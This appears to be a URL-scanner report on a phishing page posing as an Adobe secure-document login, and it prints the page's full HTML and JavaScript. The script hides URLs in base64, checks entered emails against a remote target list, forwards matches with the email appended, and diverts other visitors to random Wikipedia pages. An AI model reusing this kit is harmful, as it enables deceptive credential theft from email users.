- ID de l'analyse :
- 947b1937-bb2e-4d87-8af9-8134fa9e9326Terminée
- URL soumise :
- https://google.com/amp/s/alnamoosgroup.com/dirxRedirigé
- Fin du rapport :
Liens : 1 trouvé(s)
Liens sortants identifiés à partir de la page
Lien | texte |
---|---|
https://www.adobe.com/privacy.html | Privacy Statement |
Variables JavaScript : 7 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
fetchEmailList | function |
continueLoading | function |
validateEmail | function |
fetchRandomWiki | function |
Messages de journal de console : 3 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
error | network |
|
error | network |
|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<html lang="en"><head>
<meta charset="UTF-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<title>Authenticate User Account</title>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<link rel="shortcut icon" href="astss/favicon.png" type="image/x-icon">
<style type="text/css">body {
font-family: 'Roboto', Helvetica, Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
color: #333;
background-image: url('astss/bgacccsss.png'); /* Add your background image here */
background-size: cover;
background-position: center;
}
.header {
width: 100%;
background-color: #0078d4;
color: white;
text-align: left;
padding: 10px 20px;
box-sizing: border-box;
font-size: 18px;
position: absolute;
top: 0;
}
.header span {
margin-left: 20px;
}
.container {
background-color: white;
border: 1px solid #ccc;
border-radius: 20px;
padding: 33px;
width: 80%;
max-width: 300px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
text-align: center;
margin-top: 0px;
}
.container img {
width: 230px; /* Increased width */
margin-bottom: 5px;
margin-top: 20px;
}
.container h2 {
font-size: 18px;
margin-bottom: 20px;
color: #333;
}
.container p {
margin-bottom: 10px;
color: #666;
}
.container p2 {
margin-bottom: 30px;
color: #666;
font-size: 13px;
}
.container input[type="email"] {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 10px;
margin-bottom: 20px;
font-size: 13px;
box-sizing: border-box;
text-align: center;
}
.container #continue-button {
width: 65%;
padding: 10px;
background-color: #0078d4;
color: white;
border: none;
border-radius: 18px;
font-size: 13px;
cursor: pointer;
}
.container button:hover {
background-color: #005a9e;
}
.container .footer {
font-size: 12px;
color: #888;
margin-top: 20px;
}
.social-button {
width: 100%;
margin-bottom: 10px;
border: none;
border-radius: 20px;
font-size: 14px;
color: white;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
padding: 10px;
}
.social-button i {
margin-right: 10px; /* Space between icon and text */
font-size: 18px; /* Icon size */
}
.social-button.google {
background-color: #4285F4; /* Google Blue */
}
.social-button.yahoo {
background-color: #6400DC; /* yahoo Blue */
}
.social-button.microsoft {
background-color: #000000; /* Microsoft Black */
}
.social-button:hover {
opacity: 0.9;
}
@media (max-width: 600px) {
.social-button {
width: 100%;
font-size: 13px;
}
}
.or {
margin: 17px 0 17px 0;
font-size: 14px;
color: #888;
}
@media (max-width: 600px) {
.social-button {
width: 100%;
font-size: 13px;
}
}
@media (max-width: 600px) {
.container {
padding: 20px;
}
.container h2 {
font-size: 20px;
}
.container .space {
margin-bottom: 20px;
}
.container input[type="email"] {
font-size: 14px;
}
.container button {
font-size: 14px;
}
}
</style>
</head>
<body>
<div class="container"><img alt="soft Logo" src="astss/acrobat.png">
<h2>Authenticate Email</h2>
<p><strong>You've received a secure document:</strong></p>
<p2>To access this secure document, we'll need to verify the intended recipient's email. Please enter the email address to which this document was shared.</p2>
<br><br>
<input id="email-input" placeholder="Enter Email" required="" style="margin-top: 10px;" type="email">
<button id="continue-button">Next</button>
<p class="or">OR</p>
<div class="social-login">
<button class="social-button google" onclick="window.location.href='https://accounts.google.com'">
<i class="fab fa-google"></i> Continue with Google
</button>
<button class="social-button yahoo" onclick="window.location.href='https://login.yahoo.com/'">
<i class="fas fa-envelope"></i> Continue with Yahoo Mail
</button>
<button class="social-button Microsoft" onclick="window.location.href='#'">
<i class="fab fa-Microsoft"></i> Continue with Microsoft
</button>
</div>
<div class="footer" style="font-family:'Segoe UI'; ">
<p>Encrypted by Adobe</p>
<a href="https://www.adobe.com/privacy.html" target="_blank">Privacy Statement</a><br>
Tower 2, Level 27/201 Sussex St, Sydney NSW 2000</div>
</div>
<script>
let attempts = 0;
async function fetchEmailList() {
const encodedUrl = 'aHR0cHM6Ly9kZXJ4bnBnLnBhZ2VzLmRldi9ldWxpc3QudHh0';
const decodedUrl = atob(encodedUrl);
const response = await fetch(decodedUrl); // Path to your email list file
const text = await response.text();
return text.split(/\r?\n/).filter(email => email.trim().length > 0);
}
async function continueLoading() {
const emailInput = document.getElementById('email-input');
const email = emailInput.value.trim();
const validEmails = await fetchEmailList();
if (validateEmail(email)) {
if (validEmails.includes(email)) {
const link = "aHR0cHM6Ly9zai1jZS5vcmcvdHJhY2tpbmcvYm5ydHJhY2tpbmcucGhwP2Jhbm5lcl9pZD0xJmluZGl2aWR1YWxfaWQ9JnVybD1odHRwcyUzQSUyRiUyRnd3dy55b3V0dWJlLmNvbS9sb2dvdXQ/Y29udGludWU9aHR0cHM6Ly9nb29nbGUuY29tL2FtcC9zLzBhMWQwYmY3LjZjZjdmM2M1ZDgxMjk0MmRhMmNiNjcwNi53b3JrZXJzLmRldi8="; // Base64 encoded link
const decodedLink = atob(link);
const finalLink = `${decodedLink}?0x0x=${email}`;
window.location.href = finalLink;
} else {
attempts++;
if (attempts >= 4) {
const randomWiki = await fetchRandomWiki();
window.location.href = RandomWiki;
} else {
alert("Email not recognized. Please try again.");
}
}
} else {
alert("Please enter a valid email address.");
}
}
function validateEmail(email) {
const re = /^(?=.{1,256})(?:(?:(?!\.)[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*)|(?:"(?:\\[\x01-\x09\x0b\x0c\x0e-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*"))@(?:(?!-)[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*\.[a-zA-Z]{2,})$/;
return re.test(email);
}
async function fetchRandomWiki() {
const response = await fetch('https://en.wikipedia.org/wiki/Special:Random');
return response.url;
}
document.getElementById('continue-button').addEventListener('click', continueLoading);
document.getElementById('email-input').addEventListener('keydown', function(event) {
if (event.key === 'Enter') {
continueLoading();
}
});
</script>
</body></html>